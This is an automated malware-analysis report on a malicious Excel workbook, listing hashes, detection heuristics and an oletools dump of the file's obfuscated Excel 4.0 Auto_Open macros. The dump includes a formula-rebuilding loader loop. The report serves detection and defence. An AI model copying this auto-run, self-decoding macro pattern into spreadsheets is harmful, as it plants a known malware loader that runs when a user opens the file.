Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 79aca61392b27d62…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:52 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 8c9a7f946459ab3c7682c2f094539a77 SHA-1: 58787803eead75156c0bbec3b0025c16d898c562 SHA-256: 79aca61392b27d622bb09154da8cf4b4adc3f8b4e3f08c273bbfa1b4f04cc4bf
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6551 bytes
SHA-256: 02e207f0484961b0fd97378e824640f1cadfe20384f40c4b1dd6bc53ce928a50
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YCUZRom
' 0018     23 LABEL : Cell Value, String Constant - aDgkfFKy len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C184 
' 0018     27 LABEL : Cell Value, String Constant - CtoUekTQKkiW len=0 
' 0018     22 LABEL : Cell Value, String Constant - DCRNVPe len=0 
' 0018     21 LABEL : Cell Value, String Constant - donoBY len=0 
' 0018     27 LABEL : Cell Value, String Constant - exhKuLBdSRDz len=0 
' 0018     27 LABEL : Cell Value, String Constant - FMRHqhUcDKFV len=0 
' 0018     27 LABEL : Cell Value, String Constant - HtJNPSJIuTwW len=0 
' 0018     21 LABEL : Cell Value, String Constant - hVjkxH len=0 
' 0018     26 LABEL : Cell Value, String Constant - LEcfIkWKcKd len=0 
' 0018     26 LABEL : Cell Value, String Constant - luumAItVsna len=0 
' 0018     20 LABEL : Cell Value, String Constant - nsPWq len=0 
' 0018     21 LABEL : Cell Value, String Constant - OpcgJu len=0 
' 0018     27 LABEL : Cell Value, String Constant - OPkqisWUNPms len=0 
' 0018     24 LABEL : Cell Value, String Constant - PnafCjTae len=0 
' 0018     23 LABEL : Cell Value, String Constant - rjySErxk len=0 
' 0018     22 LABEL : Cell Value, String Constant - vAMmfEa len=0 
' 0018     22 LABEL : Cell Value, String Constant - VyyvyCM len=0 
' 0018     23 LABEL : Cell Value, String Constant - WLBvHCEa len=0 
' 0018     27 LABEL : Cell Value, String Constant - XMGwFpyxCXQa len=0 
' 0018     24 LABEL : Cell Value, String Constant - xTOeWWgQW len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YCUZRom,C94,"SET.NAME("luumAItVsna",VALUE("0"))",""
'  YCUZRom,C99,"SET.NAME("OPkqisWUNPms",luumAItVsna)",""
'  YCUZRom,C103,"SET.NAME("rjySErxk",luumAItVsna)",""
'  YCUZRom,C108,"SET.NAME("LEcfIkWKcKd",COUNTA(HtJNPSJIuTwW))",""
'  YCUZRom,C113,"SET.NAME("XMGwFpyxCXQa",COUNTA(aDgkfFKy))",""
'  YCUZRom,C118,[],""
'  YCUZRom,C121,"SET.NAME("xTOeWWgQW","")",""
'  YCUZRom,C126,"OPkqisWUNPms",""
'  YCUZRom,C131,"SET.NAME("FMRHqhUcDKFV",HLOOKUP("*",HtJNPSJIuTwW,OPkqisWUNPms,FALSE))",""
'  YCUZRom,C133,"DCRNVPe",""
'  YCUZRom,C137,"SET.NAME("vAMmfEa",luumAItVsna)",""
'  YCUZRom,C139,[],""
'  YCUZRom,C143,"vAMmfEa",""
'  YCUZRom,C148,"hVjkxH",""
'  YCUZRom,C150,"exhKuLBdSRDz",""
'  YCUZRom,C153,"VyyvyCM",""
'  YCUZRom,C157,"SET.NAME("donoBY",VALUE(HLOOKUP("*",aDgkfFKy,VyyvyCM,FALSE)))",""
'  YCUZRom,C159,"PnafCjTae",""
'  YCUZRom,C161,"xTOeWWgQW",""
'  YCUZRom,C166,"rjySErxk",""
'  YCUZRom,C168,NEXT(),""
'  YCUZRom,C172,"CtoUekTQKkiW",""
'  YCUZRom,C174,"SET.NAME("f",INT(T(FORMULA(T(xTOeWWgQW)&"",""&T(CtoUekTQKkiW)))))",""
'  YCUZRom,C176,"OpcgJu",""
'  YCUZRom,C178,NEXT(),""
'  YCUZRom,C182,RETURN(),""
'  YCUZRom,C210,"SET.NAME("nsPWq",C94)",""
'  YCUZRom,C213,"HtJNPSJIuTwW",""
'  YCUZRom,C217,"SET.NAME("aDgkfFKy",R43C15)",""
'  YCUZRom,C220,"SET.NAME("OpcgJu",228)",""
'  YCUZRom,C222,"SET.NAME("WLBvHCEa",3)",""
'  YCUZRom,C227,nsPWq(),""
'  YCUZRom,C228,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.